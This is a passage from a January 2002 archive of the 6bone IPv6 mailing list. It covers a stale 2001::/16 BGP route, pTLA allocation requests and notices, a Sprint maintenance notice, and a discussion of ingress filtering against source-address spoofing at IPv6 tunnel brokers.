To: 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16 
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Here's the view of 2001::/16 from AS818:

crc-ipv6#sh bgp ipv6 2001::/16
BGP routing table entry for 2001::/16, version 280221
Paths: (3 available, best #1)
  Advertised to non peer-group peers:
  2001:428:8:110::1
  1752 8954 8664 9090 65527 7777, (received & used)
    2001:618:1::A3 from 2001:618:1::A3 (213.121.24.91)
      Origin incomplete, localpref 100, valid, external, best
  6509 3425 293 109 8954 8664 9090 65527 7777
    2001:410:101::4 from 2001:410:101::4 (205.189.32.169)
      Origin incomplete, localpref 100, valid, external
      Community: 6509:6
  6509 3425 293 109 8954 8664 9090 65527 7777, (received-only)
    2001:410:101::4 from 2001:410:101::4 (205.189.32.169)
      Origin incomplete, localpref 100, valid, external
crc-ipv6#

wfms


From 6bone-owner  Sun Jan 20 15:47:22 2002
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Date: Sun, 20 Jan 2002 15:45:27 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for GLOBAL - review closes 11 February 2002
Cc: Jan-Ahrent Czmok <czmok@gatel.net>
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6bone Folk,

GLOBAL has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 11 
February 2002 (an extended time as I will be on travel 24 Jan - 10 Feb). 
Please send your comments to me or the list.

Note that this new pTLA will replace the existing pTLA IPF 
(3FFE:3400::/24), that is stopping operation. Their technical principal 
Jan-Ahrent Czmok has moved to Global Access where he is setting up new IPv6 
services and thus wants a new pTLA based on his experience at IPF. I have 
asked that they reapply for a pTLA, and that the existing /24 will be 
de-allocated.

<http://whois.6bone.net/cgi-bin/whois?GLOBAL>

<http://www.ipv6.gatel.net>


Thanks,

Bob

===
>Date: Sat, 19 Jan 2002 18:13:35 +0100
>From: Jan-Ahrent Czmok <czmok@gatel.net>
>To: Bob Fink <fink@es.net>
>Cc: kocovski@gatel.net, Alain.Durand@sun.com, tonyhain@microsoft.com
>Subject: Re: Request for 6bone pTLA
>Organization: Global Access Telecommunications Inc.
>
>7. Guidelines for 6Bone pTLA sites
>  The following rules apply to qualify for a 6Bone pTLA allocation. It
>  should be recognized that holders of 6Bone pTLA allocations are
>  expected to provide production quality backbone network services for
>  the 6Bone.
>
>  1. The pTLA Applicant must have a minimum of three (3) months
>  qualifying experience as a 6Bone end-site or pNLA transit.
>  During the entire qualifying period the Applicant must be
>  operationally  providing the following:
>
>  a. Fully maintained, up to date, 6Bone Registry entries for
>     their ipv6-site inet6num, mntner, and person
>     objects, including each tunnel that the Applicant has.
>
>Answer--> All objects are fully maintained, please see:
>           inet6num:     3FFE:3400:1000::/48
>           ipv6-site:    GLOBAL
>
>Current tunnels-->
>
>IPV6 in IPv4 ipv6-gw.de.gatel.net -> cisco.ipv6.ipf.net IPF BGP4+
>IPv6 in IPv4 ipv6-gw.de.gatel.net -> swiPV6.switch.ch SWITCH BGP4+
>IPv6 in IPv4 ipv6-gw.de.gatel.net -> 6bone.uni-muenster.de JOIN BGP4+
>IPv6 in IPv4 ipv6-gw.de.gatel.net -> home.czmok.de CZMOK-NET STATIC
>
>         -> our Nameserver(s) are dns1.us.gatel.net and dns1.de.gatel.net
>
>    Also i would like to add that i used to work for IPF before; 
> its    followup Gigabell AG is also a founding member of the ipv6-forum.
>    We also used to have a long history in the 6bone.
>
>    I changed jobs at January 2002, so i would like to transfer my knowledge
>    and experience to Global Access.
>
>    I will implement further project work and involvement in the ipv6-wg 
> at ripe in our Company.
>
>    The IPF ipv6-site will cease soon.
>
>  b. Fully maintained, and reliable, BGP4+ peering and
>connectivity between the Applicant's boundary router
>and the appropriate  connection point into the 6Bone. This
>router must be IPv6 pingable. This criteria is judged by
>members of the 6Bone  Operations Group at the time of the
>Applicant's pTLA request.
>
>Answer--> We will upgrade our router to the latest cisco ios image
>           to have up-to-date features. We will also expand our ipv6
>           network as soon as the current ios ipv6 implementation is
>           proven to be stable to the ocmplete backbone and will natively
>           do ipv6 peerings at decix + inxs.
>
>  c. Fully maintained DNS forward (AAAA) and reverse
>(ip6.int) entries for the Applicant's router(s) and at least one host
>  system.
>
>We will also upgrade one of our nameservers to the latest bind 
>implementation supporting AAAA and A6 records.
>
>ipv6-gw.de.gatel.net and www.ipv6.gatel.net should be ipv6 pingable.
>
>  d. A fully maintained, and reliable, IPv6-accessible
>     system providing, at a mimimum, one or more web
>     pages, describing the Applicant's IPv6 services. This
>     server must be IPv6 pingable.
>
>the server www.ipv6.gatel.net is descibing the services on ipv6.
>Also it will hold the tunnel broker implementation (from cselt)
>
>  2. The pTLA Applicant MUST have the ability and intent to provide
>     "production-quality" 6Bone backbone service.
>     Applicants must provide a statement and information in support of this
>     claim.
>
>Answer-> We are intending and able to provide ipv6 6bone backbone service.
>
>We are a european-based ISP offering dialup and leased line services
>    besides hosting. We are working in cooperation with other parties
>    to sponsor and broaden IPv6 around europe. My involvement in the IPv6
>    working Group (ripe) and IPV6-FORUM is widely known.
>
>
>This MUST include the following:
>  a. A support staff of two persons minimum, three
>preferable, with person attributes registered for each in
>the ipv6-site object for the pTLA applicant.
>
>Please see: JC9-6BONE, JK8-6BONE and UK1-6BONE and ipv6-site object GLOBAL
>
>
>  b. A common mailbox for support contact purposes that
>all support staff have acess to, pointed to with a
>notify attribute in the ipv6-site object for the pTLA Applicant.
>
>in object GLOBAL :
>
>remarks:      Will configure tunnels to interested parties! Please contact 
>support@gatel.net
>notify:       czmok@gatel.net
>
>common email-adress is czmok@gatel.net or support@gatel.net for queries
>
>3. The pTLA Applicant MUST have a potential "user community"
>that would be served by its becoming a pTLA, e.g., the Applicant
>is a  major provider of Internet service in a region, country, or
>focus  of interest. Applicant must provide a statement and
>information in support this claim.
>
>Global Access is a business provider and has a substantial user community
>which are interested in ipv6 services.
>
>please see a inverse query to the ipv4 tree of GAT-MNT.
>
>
>  4. The pTLA Applicant MUST commit to abide by the current 6Bone
>  operational rules and policies as they exist at time of its
>  application, and agree to abide by future 6Bone backbone
>  operational rules and policies as they evolve by consensus
>  of the 6Bone backbone and user community.
>
>We commit to abide the rules and future rules.
>
>  When an Applicant seeks to receive a pTLA allocation, it will apply
>  to the 6Bone Operations Group (see section 8 below) by providing to
>  the Group information in support of its claims that it meets the
>  criteria above.
>
>8. 6Bone Operations Group
>  The 6Bone Operations Group is the group in charge of monitoring and
>  policing adherence to the current rules. Membership in the 6Bone
>  Operations Group is mandatory for, and restricted to, sites connected
>  to the 6Bone.
>  The 6Bone Operations Group is currently defined by those members of
>  the existing 6Bone mailing list who represent sites participating in
>  the 6Bone. Therefore it is incumbent on relevant site contacts to
>  join the 6Bone mailing list. Instructions on how to join the list are
>  maintained on the 6Bone web site at < http://www.6bone.net>.
>
>Answer ->> We are subscribed to the list.
>
>
>If anymore questions arise, please feel free to contact me.
>
>Jan
>
>
>--
>      Jan Ahrent Czmok - Senior Network Engineer - Access Networks
>Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
>voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de



From 6bone-owner  Sun Jan 20 15:54:38 2002
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To: Pim van Pelt <pim@ipng.nl>
Cc: Antonio Querubin <tony@lava.net>,
        Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
In-reply-to: pim's message of Fri, 18 Jan 2002 16:30:13 +0100.
      <20020118153013.GA5696@bfib.colo.bit.nl> 
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Subject: Re: bogus route: 2001::/16 
From: itojun@iijlab.net
Date: Mon, 21 Jan 2002 08:55:32 +0900
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>| > It's 1103 and this is us, surfnet. I contacted Itojun offline because
>| > we are not announcing the prefix to 3274. We also do not see 2001::/16
>| > in our routing table. We don't see the route, Itojun still does. Could
>| > the other ASes in the path below have a check? I suspect it is a buggy
>| > BGP implementation somewhere which is holding the route.
>| We do not see 2001::/16 in our routing tables here at LavaNet, ASN 6435.
>There's nothing on the Zebra 0.91a at AS8954 either (INTOUCH-NL).
>Is this a wild goose chase or is the 2001::/16 route actually still out
>there ?

	it seems that it has gone, finally (seen from AS2497 and AS2500).

itojun

From 6bone-owner  Sun Jan 20 21:46:17 2002
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Subject: RE: bogus route: 2001::/16 
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: <itojun@iijlab.net>, "Pim van Pelt" <pim@ipng.nl>
Cc: "Antonio Querubin" <tony@lava.net>,
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Gone here too, there are plenty of other wild geese in my routing table
though.

-----Original Message-----
From: itojun@iijlab.net [mailto:itojun@iijlab.net] 
Sent: Sunday, January 20, 2002 3:56 PM
To: Pim van Pelt
Cc: Antonio Querubin; Ronald van der Pol; 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16 

>| > It's 1103 and this is us, surfnet. I contacted Itojun offline
because
>| > we are not announcing the prefix to 3274. We also do not see
2001::/16
>| > in our routing table. We don't see the route, Itojun still does.
Could
>| > the other ASes in the path below have a check? I suspect it is a
buggy
>| > BGP implementation somewhere which is holding the route.
>| We do not see 2001::/16 in our routing tables here at LavaNet, ASN
6435.
>There's nothing on the Zebra 0.91a at AS8954 either (INTOUCH-NL).
>Is this a wild goose chase or is the 2001::/16 route actually still out
>there ?

	it seems that it has gone, finally (seen from AS2497 and
AS2500).

itojun

From 6bone-owner  Mon Jan 21 12:31:27 2002
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Date: Mon, 21 Jan 2002 21:33:26 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
X-X-Sender: michael@varg.wolfpack
To: 6bone <6bone@ISI.EDU>
Subject: Mailing list recommendations? Linux IPv6 issues
Message-ID: <Pine.LNX.4.44.0201212132130.27637-100000@varg.wolfpack>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I don't think my problem is on topic here (but if it is feel free to
let me know and I'll post it), but I have been unable to find any
really good place to ask in.

Is there anyone here who can recommend any IPv6-related list with a
Linux orientation?

Thanks a lot in advance,


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

*** Thinking about sending me spam? Take a close look at
*** http://michael.kjorling.com/spam/ before doing so.
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From 6bone-owner  Wed Jan 23 16:58:40 2002
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Date: Wed, 23 Jan 2002 16:57:57 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8330::/28 allocated to CSTNET
Cc: Bill Manning <bmanning@ISI.EDU>, "zhang hong" <zhangh@cnnic.net.cn>,
        <ipv6group@cnnic.net.cn>
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CSTNET has been allocated pTLA 3FFE:8330::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?CSTNET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Jan 24 05:41:34 2002
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Date: Thu, 24 Jan 2002 08:41:25 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
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Sprint will be taking spot outages today as we upgrade Software. Please
do not adjust your sets.

This effects ONLY the following sprint IPv6 routers (ipv4 tunnel endpoint
given).

sl-bb1v6-rly.sprintlink.net
sl-bb1v6-nyc.sprintlink.net
sl-bb1v6-bru.sprintlink.net
sl-bb1v6-sj.sprintlink.net

Sorry for spam.  Again, this will affect only the 6bone routers listed
above.


Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------


From 6bone-owner  Thu Jan 24 08:46:38 2002
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Date: Thu, 24 Jan 2002 17:47:20 +0100
From: Pim van Pelt <pim@ipng.nl>
To: fink@es.net, 6bone@ISI.EDU
Subject: [pim@ipng.nl: NL-BIT pTLA request]
Message-ID: <20020124164719.GC18594@bfib.colo.bit.nl>
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Dear Bob, and 6BONE folk,

Via these means, I would like to inform you all, that I am switching
employers on the 1st of March 2002, when my current contract at WiseGuys
Internet BV ends. My new employer, Business Internet Trends, is an ISP
and colocation provider in The Netherlands. I will be joining their 
team as a network engineer per 1/3/2002. Yay!

I plan to do many exciting things with and for BIT, one of which, you 
could've known, is starting a native IPv6 deployment from the AMS-v6-IX
to the head quarters and colocation facilities in Ede (GLD).

This is why I am requesting a pTLA allocation to be made for this 
company. We hope to have this space allocated per 01/03 so we can dive 
into the configuration and implementational details.

Please let me know what you think of this.

Kind regards,
Pim van Pelt

----- pTLA request form -----
1. The pTLA Applicant must have a minimum of three (3) months
      qualifying experience as a 6Bone end-site or pNLA transit.   During
      the entire qualifying period the Applicant must be operationally
      providing the following:

      a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.

Our current inet6num is BIT6-NL (2001:06E0:0209::/48), which is natively
connected to the INTOUCH-NL networks at the AMS-v6-IX. It is maintained
by BIT-MNT (RIPE) and has a role BITT1-RIPE for technical and 
administrative contact. We have inserted copies of the -RIPE objects into
the 6BONE registry where appropriate:
[ipv6-site] NL-BIT6
[person] HM6669-6BONE (Hans van der Made)
[person] SAB666-6BONE (Sabri Berisha)
[person] AB2298-6BONE (Alex Bik)
[role] BITT1-6BONE (Business Internet Trends Technical Role Account)
and 
[person] PBVP1-6BONE (Pim van Pelt)

      b. Fully maintained, and reliable, BGP4+ peering and connectivity
         between the Applicant's boundary router and the appropriate
         connection point into the 6Bone. This router must be IPv6
         pingable. This criteria is judged by members of the 6Bone
         Operations Group at the time of the Applicant's pTLA request.

We have a BGP session with AS8954 at the AMS-v6-IX, which connects our
Cisco 2600 to the 6BONE. We would like to enforce our network by setting
up additional peerings and announcing our own network via BGP. This way
AS8954 will not have to take care of our own traffic. Our address is
currently: 
ipv6.bit.nl. has AAAA address 2001:6e0:0:10a::2
ipv6.bit.nl. has AAAA address 2001:6e0:209:2:203:6bff:fe6e:52a0
Where the former is a VLAN where Intouch AMSIX is ::1/64 and we are
::2/64 in Ede. Both addresses are on the C2600 at our site and reply
pings.

      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
         entries for the Applicant's router(s) and at least one host
         system.
Forward entries for bit.nl (IN AAAA, and in the future IN A6) can be
found at:
bit.nl. name server ns2.bit.nl.
bit.nl. name server ns3.bit.nl.
bit.nl. name server ns.bit.nl.
The reversed zonefile from Intouch is handled by IPng at this point, 
and only on one server:
9.0.2.0.0.e.6.0.1.0.0.2.ip6.int name server ns1.ipng.nl.
but will move to ns/ns2/ns3.bit.nl per 01-03-2002.

      d. A fully maintained, and reliable, IPv6-accessible system
         providing, at a mimimum, one or more web pages, describing the
         Applicant's IPv6 services.  This server must be IPv6 pingable.

We have a server ready at www.ipv6.bit.nl, and do not plan to do much
with this at the moment. There are some pages on the server, though.
It's address is: 2001:6e0:209:3:290:27ff:fe0c:5c5e, port 80. It pings.

   2. The pTLA Applicant MUST have the ability and intent to provide
      "production-quality" 6Bone backbone service. Applicants must
      provide a statement and information in support of this claim.
      This MUST include the following:

      a. A support staff of two persons minimum, three preferable, with
         person attributes registered for each in the ipv6-site object
         for the pTLA applicant.
Alex Bik, Sabri Berisha, Hans van der Made and Pim van Pelt, forming
BITT1-6BONE, as describe in section 1.

      b. A common mailbox for support contact purposes that all support
         staff have acess to, pointed to with a notify attribute in the
         ipv6-site object for the pTLA Applicant.
This mailbox is ipv6@bit.nl and we will be using @ipv6.bit.nl once we
get settled. Another entry is noc@bit.nl, which is roughly the same persons
but for a more generic communication (eg v4 and v6 related)

   3. The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or focus
      of interest. Applicant must provide a statement and information in
      support this claim.
We are a hosting and application service provider, with a valid userbase
for IPv6. Two main aspects come to mind: Access and Colocation. The former
consists of a nationwide dialup network, and several leased lines to 
customers and the latter is a set of colocation facilities with some
250 customers' boxes. We are about to build a third colocation facility
on a seperate location with a gigabit uplink to the AMS-IX, providing
additional services to an ever growing customer base, including the 
possibility of traffic exchange between ISPs at this location.

   4. The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.
We have a commitment to our customers and the 6bone, and armed with 
technical clue, we agree to abide by these rules and policies laid down 
by the 6bone community.

   When an Applicant seeks to receive a pTLA allocation, it will apply
   to the 6Bone Operations Group (see section 8 below) by providing to
   the Group information in support of its claims that it meets the
   criteria above.

8. 6Bone Operations Group

   The 6Bone Operations Group is the group in charge of monitoring and
   policing adherence to the current rules. Membership in the 6Bone
   Operations Group is mandatory for, and restricted to, sites connected
   to the 6Bone.

   The 6Bone Operations Group is currently defined by those members of
   the existing 6Bone mailing list who represent sites participating in
   the 6Bone. Therefore it is incumbent on relevant site contacts to
   join the 6Bone mailing list. Instructions on how to join the list are
   maintained on the 6Bone web site at < http://www.6bone.net>.


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

----- End forwarded message -----

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sun Jan 27 03:28:52 2002
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Date: Sun, 27 Jan 2002 12:28:30 +0100
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: asymmetric routing
Message-ID: <20020127112830.GA28143@bfib.colo.bit.nl>
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Hallo,

I had always suspected it to be the case, but recently I have been monitoring
the traffic that goes through the TunnelBroker at IPng.nl, and see that 
several of my downstream users are pushing foreign traffic through my 
router in Amsterdam.

I would like to bring this to your attention, because of the following.
Many people seem to believe that IPv6 is the solution to all current IPv4
problems, such as spoofing, broadcast and others.

The spoofing aspect, which is demonstrated by the IPng situation, will not
be properly taken care of unless we (the IPv6 administrators of today) set
a good example and refuse to route traffic on our borders that does not 
originate within our own networks.

In the example of my tunnelbroker, I am now dropping all the traffic sourced
from outside of the IPng space, typically 3ffe:8114:2000::/52 and 
3ffe:8114:1000::/48, trying to traverse the tunnelbroker from downstream 
to upstream.

Is this common practice with tunnelbrokers? Does anybody want to share their
experience on this matter ? Installing these simple rulesets 'as default' 
should not seem that big a deal with today's routing hardware. 

What do the folk from Cisco think about these anti-spoof measures being set
to enabled state per default (user overridable of course) ?

I for one would like to see my fellow tunnelbroker admins enable these types
of rulesets on their infrastructure. It will make collecting tunnels 
impossible, a thing that is common on tunnelbroker+irc land, but no longer
possible at my site.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sun Jan 27 06:52:24 2002
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>, Pim van Pelt <pim@ipng.nl>
Subject: Re: asymmetric routing
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Pim, and everyone,

Just a few thoughts on the matter from someone who has most experience
with this from the other end of the issue. (As I am not allowed to
make changes to our router.)

I commonly get traffic coming in to my network that shouldn't belong
on the global Internet in the first place. Packets hitting the
exterior firewall from RFC 1918 IPv4 addresses is commonplace. Aside
from the question whether such traffic should be routed at all or not,
I would just like to say that IMNSHO, it does not belong on the
Internet in any shape or form. Still lots of ISPs (including a very
large ISP in the US - and yet it was indices, not proof, that led me
to this conclusion) route the traffic out on the Net, it is allowed to
clog up the links only to be blocked by my firewall. I have talked to
our ISP but they say it is not possible for some reason to block the
traffic at their border routers. And I am certain that there is some
spoofed traffic being allowed through, too.

The RFCs very clearly spell out that link and site local traffic
should not be forwarded outside its scope (link or site,
respectively), but I have not seen any references to routing traffic
originating from within one's network but having an incorrect source
address. I cannot imagine any legitimate reason to route such traffic,
and a lot of reasons why it should not be routed. Sure, it won't solve
every possible problem, but it makes it a lot easier to track down
from where malicious traffic is originating, and if necessary block
it.

Just my two cents for the moment, and a cheer to you Pim for a good
initiative!


Michael Kjörling


On Jan 27 2002 12:28 +0100, Pim van Pelt wrote:

> Hallo,
>
> I had always suspected it to be the case, but recently I have been monitoring
> the traffic that goes through the TunnelBroker at IPng.nl, and see that
> several of my downstream users are pushing foreign traffic through my
> router in Amsterdam.
>
> I would like to bring this to your attention, because of the following.
> Many people seem to believe that IPv6 is the solution to all current IPv4
> problems, such as spoofing, broadcast and others.
>
> The spoofing aspect, which is demonstrated by the IPng situation, will not
> be properly taken care of unless we (the IPv6 administrators of today) set
> a good example and refuse to route traffic on our borders that does not
> originate within our own networks.
>
> In the example of my tunnelbroker, I am now dropping all the traffic sourced
> from outside of the IPng space, typically 3ffe:8114:2000::/52 and
> 3ffe:8114:1000::/48, trying to traverse the tunnelbroker from downstream
> to upstream.
>
> Is this common practice with tunnelbrokers? Does anybody want to share their
> experience on this matter ? Installing these simple rulesets 'as default'
> should not seem that big a deal with today's routing hardware.
>
> What do the folk from Cisco think about these anti-spoof measures being set
> to enabled state per default (user overridable of course) ?
>
> I for one would like to see my fellow tunnelbroker admins enable these types
> of rulesets on their infrastructure. It will make collecting tunnels
> impossible, a thing that is common on tunnelbroker+irc land, but no longer
> possible at my site.
>
> groet,
> Pim

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

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From 6bone-owner  Sun Jan 27 09:06:36 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>, Pim van Pelt <pim@ipng.nl>
Subject: Re: asymmetric routing 
In-reply-to: Your message of Sun, 27 Jan 2002 15:53:29 +0100.
             <Pine.LNX.4.44.0201271543060.22774-100000@varg.wolfpack> 
Date: Sun, 27 Jan 2002 18:06:18 +0100
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Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
for IPv6 too. There are two ways to do ingress filtering: access lists
and unicast RPF.

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Sun Jan 27 23:50:23 2002
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From: JOIN Project Team <ipng@uni-muenster.de>
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Organization: Westfaelische Wilhelms-Universitaet
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>,
        Michael Kjorling <michael@kjorling.com>
Subject: Re: asymmetric routing
Date: Mon, 28 Jan 2002 08:50:38 +0100
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Am Sonntag, 27. Januar 2002 18:06 schrieb Francis Dupont:
> Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
> for IPv6 too. There are two ways to do ingress filtering: access lists
> and unicast RPF.

I don't think it's that easy. Please keep in mind, that a site/customer
might be multihomed. In that case he might use a different prefix from that 
assigned by the upstream provider as source address. 

Yes, one could filter all but those prefixes a customer holds, but then the
customer has to name all his providers/prefixes. You can't force a customer
to do so, because that information might be confidential.

Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
                 A DFN project  Westfaelische Wilhelms-Universitaet Muenster
Project Team email:             Zentrum fuer Informationsverarbeitung
          join@uni-muenster.de  Roentgenstrasse 9-13
http://www.join.uni-muenster.de D-48149 Muenster / Germany
email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653

From 6bone-owner  Mon Jan 28 02:42:23 2002
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Date: Mon, 28 Jan 2002 05:42:28 -0500
From: Sandy Wills <willss@mediaone.net>
Organization: Wills Enterprises, Inc. (WEI)
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CC: 6bone <6bone@ISI.EDU>
Subject: Re: asymmetric routing
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(Please forgive me if I'm missing something basic, here.  I am familiar
with IPv4 from the end user and LAN manager point of view.  I subscribed
to the 6bone mailing list for the education I'm getting.......)

JOIN Project Team wrote, replying to Francis Dupont:
> > Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
> > for IPv6 too. There are two ways to do ingress filtering: access lists
> > and unicast RPF.
> 
> I don't think it's that easy. Please keep in mind, that a site/customer
> might be multihomed. In that case he might use a different prefix from that
> assigned by the upstream provider as source address.
> 
> Yes, one could filter all but those prefixes a customer holds, but then the
> customer has to name all his providers/prefixes. You can't force a customer
> to do so, because that information might be confidential.

   Isn't this reasoning flawed? Customer #1 has prefix A.  You let that
traffic through.  Customer #2 has prefixes X, Y and Z - but he doesn't
want you to know about Z because he's afraid that you won't like him. 
So, you let through traffic with prefixes X and Y.  Stop Z.  Traffic Z,
if any, will go through some other provider, or it won't go through. 
You're not forcing anyone to do anything.

   What am I missing?  You can limit the prefixes you allow to those
your customers tell you about.  Your customers can have more than one
feed, and he doesn't have to tell you everything.
   You're not forcing anyone to do anything.  He is forcing himself to
pay for routers and network people which can direct his traffic out the
proper cables, and HE is the one who suffers if HE screws it up.  He
does NOT have the right to force you to enable routing loops because his
routers got confused.

-- 
: Unable to locate coffee.  Operator halted.

From 6bone-owner  Mon Jan 28 02:45:12 2002
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Date: Mon, 28 Jan 2002 11:44:56 +0100
From: Pim van Pelt <pim@ipng.nl>
To: JOIN Project Team <ipng@uni-muenster.de>
Cc: Francis Dupont <Francis.Dupont@enst-bretagne.fr>,
        Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>,
        Pim van Pelt <pim@ipng.nl>
Subject: Re: asymmetric routing
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| I don't think it's that easy. Please keep in mind, that a site/customer
| might be multihomed. In that case he might use a different prefix from that 
| assigned by the upstream provider as source address. 
| 
| Yes, one could filter all but those prefixes a customer holds, but then the
| customer has to name all his providers/prefixes. You can't force a customer
| to do so, because that information might be confidential.
Christian,

I do not think it is wise for a provider to route traffic from downstream 
networks he is not fully aware of. And I do not believe I would want to
push provider B's traffic on my link for IPv6 like I would do so in the case
of IPv4 customers. I would break aggregation in this case.

A lot of mischief on the Internet is caused by people spoofing addresses and
I feel that every network should have the ingress filtering Francis mentioned
in his post. 

If we all act like you suggest (and keep our downstreams unfiltered outbound)
then we create yet another playground for kids who wish to connect a victims
chargen or other port to a variety of spoofed (v6) addresses, especially 
because apparently people are enabling these services all over again while
they discover the wonders of IPv6.

Yes, truckloads of people have not trimmed /etc/inetd.conf (or equivalents)
for their INET6 services.  Oh, and I don't think many of my tunnel collecting
downstream cablemodem users actually understand the full impact of their
configurations either.

I'm urging everybody in the tunnelbroker scene (things differ for admins
offering connectivity on a b2b basis), to filter ingress. I for one don't want
to see IPng address space routed by anyone else than me-myself-and-I ;-) just
the same as I do not want to see anybody offering my routers address space it
was not specifically told to route. 

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Jan 28 07:56:04 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Sandy Wills <willss@mediaone.net>
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Subject: Re: asymmetric routing
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Regarding my statements on asymmetric routing at IPng, Christian (JOIN) 
reasoned:
| > Yes, one could filter all but those prefixes a customer holds, but then the
| > customer has to name all his providers/prefixes. You can't force a customer
| > to do so, because that information might be confidential.

Sandy said:
|    Isn't this reasoning flawed? Customer #1 has prefix A.  You let that
| traffic through.  Customer #2 has prefixes X, Y and Z - but he doesn't
| want you to know about Z because he's afraid that you won't like him. 
| So, you let through traffic with prefixes X and Y.  Stop Z.  Traffic Z,
| if any, will go through some other provider, or it won't go through. 
| You're not forcing anyone to do anything.
|    What am I missing?  You can limit the prefixes you allow to those
| your customers tell you about.  Your customers can have more than one
| feed, and he doesn't have to tell you everything.
Well it's not really BGP we were talking about. In the BGP world we can
filter updates from downstream customers, which means we will not route
traffic to them. But what if the customer, with prefix B, sends traffic
originating from B via my networks (and I am prefix aggregator A). Then
I will inject traffic into the 6BONE that should not be coming from my
routers.
This can no longer be taken care of by BGP prefixlist filters, but the need
for ACL based filtering arises. The customer with a desire to be multihomed, 
should respect aggregation policies and not send provider A traffic that comes 
from prefix B, when A does not advertise B's prefixes into the default free
zone.
In practice, unless you deliberately deop the traffic, customers will send
you any and all traffic they please. Being passive makes you break rules.
This is why I brought my first post to the list. But I think we made that 
point already ;-)

|    You're not forcing anyone to do anything.  He is forcing himself to
| pay for routers and network people which can direct his traffic out the
| proper cables, and HE is the one who suffers if HE screws it up.  He
| does NOT have the right to force you to enable routing loops because his
| routers got confused.
This is a very harsh point of view. In real life, the customer pays you to
handle his traffic, and I can very well understand him wanting more than one
uplink to different providers, .. , in the ipv4 world this is very normal.
However, with IPv6, you (the provider) cannot simply handle any traffic given
to you by your customers. This breaks the multihomedness we know and use in
IPv4 networking.

About dual uplinks and load balancing. These are not layer3 decisions, and
can be taken care of at a lower level, eliminating the need of disjunct sets
of IPv6 addresses (eg, more than one prefix). Does anybody have info on 
situations where a customer would want more than one AS to uplink to ? And
please look at the future when reasoning, not at the present IPv4 situation.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Jan 28 09:03:50 2002
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Subject: RE: asymmetric routing
Date: Mon, 28 Jan 2002 09:03:40 -0800
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From: "Matthew Lehman" <mlehman@microsoft.com>
